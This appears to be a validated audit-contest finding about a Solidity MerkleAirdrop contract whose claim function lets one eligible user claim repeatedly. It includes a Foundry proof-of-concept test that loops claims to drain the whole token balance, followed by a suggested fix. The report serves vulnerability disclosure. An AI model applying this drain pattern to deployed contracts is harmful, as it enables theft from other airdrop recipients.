Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

No checking whether the user has already received the airdrop

Summary

The MerkleAirdrop::claim function does not check if the user has already received the airdrop tokens. Therefore, a user can claim tokens multiple times.

Vulnerability Details

Since a token-eligible user can apply for airdop multiple times, he can transfer all tokens from the MerkleAirdrop contract before other users do.

Impact

All tokens held by the MerkleAirdrop contract can be transferred to a single user.

Tools Used

Below, see a Foundry test presenting a situation in which a malicious actor (user eligable to airdrop) checks the token balance of the MerkleAirdrop contract and sends the entire token balance to the user's address.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import { MerkleAirdrop } from "../../src/MerkleAirdrop.sol";
import { AirdropToken } from "../mocks/AirdropToken.sol";
import { Test, console2 } from "forge-std/Test.sol";
contract MerkleAirdropTestAudit is Test {
MerkleAirdrop public airdrop;
AirdropToken public token;
bytes32 public merkleRoot = 0x3b2e22da63ae414086bec9c9da6b685f790c6fab200c7918f2879f08793d77bd;
uint256 amountToCollect = (25 * 1e6); // 25.000000
uint256 numberOfWinners = 4;
uint256 amountToSend = amountToCollect * numberOfWinners;
address collectorOne = 0x20F41376c713072937eb02Be70ee1eD0D639966C;
bytes32 proofOne = 0x32cee63464b09930b5c3f59f955c86694a4c640a03aa57e6f743d8a3ca5c8838;
bytes32 proofTwo = 0x8ff683185668cbe035a18fccec4080d7a0331bb1bbc532324f40501de5e8ea5c;
bytes32[] proof = [proofOne, proofTwo];
function setUp() public {
token = new AirdropToken();
airdrop = new MerkleAirdrop(merkleRoot, token);
token.mint(address(this), amountToSend);
token.transfer(address(airdrop), amountToSend);
}
function testGetAllAirdrop() public {
uint256 startingBalance = token.balanceOf(collectorOne);
uint256 fee = airdrop.getFee();
uint256 airdropSupply = token.balanceOf(address(airdrop));
uint256 n = airdropSupply / amountToCollect;
vm.deal(collectorOne, n * fee);
for (uint256 i = 0; i < n; i++) {
vm.startPrank(collectorOne);
airdrop.claim{ value: fee }(collectorOne, amountToCollect, proof);
vm.stopPrank();
}
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, n * amountToCollect);
assertEq(endingBalance - startingBalance, amountToSend);
assertEq(n, numberOfWinners);
}
}

Recommendations

You can add a array of users who have already received airdops to the contract and check if a user already received tokens. First you declare a storage variable:

+ mapping (address => bool) s_usersToSpent;

Then you add checks in the `claim' function:

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ require(s_usersToSpent[account] != true);
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
+ s_usersToSpent[account] = true
i_airdropToken.safeTransfer(account, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.